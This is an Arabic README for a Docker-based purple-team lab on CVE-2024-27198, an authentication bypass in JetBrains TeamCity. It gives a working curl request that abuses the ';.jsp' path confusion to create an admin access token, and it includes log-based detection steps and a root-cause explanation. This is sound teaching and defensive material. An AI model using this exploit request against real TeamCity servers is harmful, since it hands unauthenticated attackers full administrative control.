مختبر لـ CVE-2024-27198
مختبر بحث عن الثغرات وعرض توضيحي لفريق Purple Team لتجاوز المصادقة في JetBrains TeamCity (CVE-2024-27198)
توفر TeamCity صفحة مخصصة للمسؤولين فقط لإدارة الرموز، وهي غير محمية بالمصادقة. يتيح ذلك لمستخدم غير مُصادَق عليه إنشاء رمز وصول للمستخدم المسؤول إذا تمكن من العثور على معرّف (ID) لمستخدم موجود.
يحتوي هذا المستودع على مختبر Docker كامل قابل لإعادة الإنتاج يتضمن بيئتي TeamCity المصابة (:8111) والمُرقّعة (:8112)، ونصوص استغلال آلية (exploit.py)، وأدلة عملية للفريق الأزرق للبحث في السجلات، ومحاكي أحداث SIEM مباشر (siem_simulator.py).
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
تكمن الثغرة في آلية توجيه REST API. فعبر إلحاق أحرف محددة (مثل ?jsp=/app/rest/...;.jsp) بنقطة نهاية غير مُصادَق عليها، يمكن للمهاجمين خداع خادم TeamCity الويب لتوجيه الطلب إلى نقطة نهاية مُصادَق عليها مع تجاوز مرشّحات الأمان. لا يتطلب ذلك أي معرفة مسبقة أو وصول، مما يجعلها ثغرة بتقييم CVSS صافٍ قدره 9.8.
للحصول على نسخة محلية من هذا المختبر وتشغيلها، اتبع هذه الخطوات النموذجية البسيطة.
curlgit clone [email protected]:cmpnn-romain/CVE-2024-27198_Lab.git
cd CVE-2024-27198_Lab
docker compose up -d
اسم المستخدم:
admin
كلمة المرور:
admin
طلب GET لمورد دون مصادقة:
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
كلاهما يجب أن يُرجع خطأ برمز الحالة 401.
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
يجب أن يُرجع هذا رمزًا مماثلًا لهذا (يتغير الرمز في كل مرة):
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
هذا يجب أن يُرجع خطأ برمز الحالة 401 لأن النسخة المُرقّعة لا تحتوي على الثغرة الأمنية.
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
يجب أن يُرجع قائمة المستخدمين.
أثناء العرض التوضيحي في المختبر، يمكنك إظهار اكتشاف كبير للفريق الأزرق: بشكل افتراضي، هذه الثغرة الأمنية شديدة التخفي!
;.jsp لا تُسجَّل.إذن كيف نكتشف ذلك؟ عندما يقوم المهاجم بتنظيف آثاره! عندما يحذف المهاجم رمزه المميز الخبيث لإخفاء نفسه، فإن TeamCity يسجّل ذلك.
ابحث عن المهاجم وهو يغطي آثاره في سجلات التدقيق:
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
(سترى إدخال سجل يشير إلى أن رمز "REDTEAM" قد تم حذفه).
docker compose down
تُعد هذه الثغرة حالة من CWE-288: تجاوز المصادقة باستخدام مسار أو قناة بديلة.
ينبع الخلل من مشكلة التباس في المسار بين خادم الويب Tomcat وموجّه تطبيق TeamCity. فعن طريق إلحاق ;.jsp وتمرير نقطة نهاية REST API المستهدفة في المعامل jsp=، يفسّر مرشّح الأمان الأولي الطلب على أنه طلب غير مُصادَق عليه لملف .jsp عام (وهو أمر مسموح به). غير أن الموجّه الداخلي يزيل ;.jsp ويُمرّر الطلب إلى نقطة النهاية المقيّدة /app/rest/ دون فرض مرشّح المصادقة.
حالة الاستخدام المشروعة (لماذا يُسمح بـ ;؟):
يستخدم Tomcat حرف الفاصلة المنقوطة (;) من أجل معاملات المصفوفة (Matrix Parameters). تاريخيًا، تُستخدم هذه الآلية لتمرير المعاملات مباشرةً داخل المسار، مثل إلحاق JSESSIONID للحفاظ على حالة جلسة المستخدم عند تعطيل ملفات تعريف الارتباط (cookies). هذا السلوك الطبيعي والمشروع لخادم الويب، مقترنًا بالتحقق غير السليم من قِبَل موجّه تطبيق TeamCity، هو ما يُنشئ الثغرة.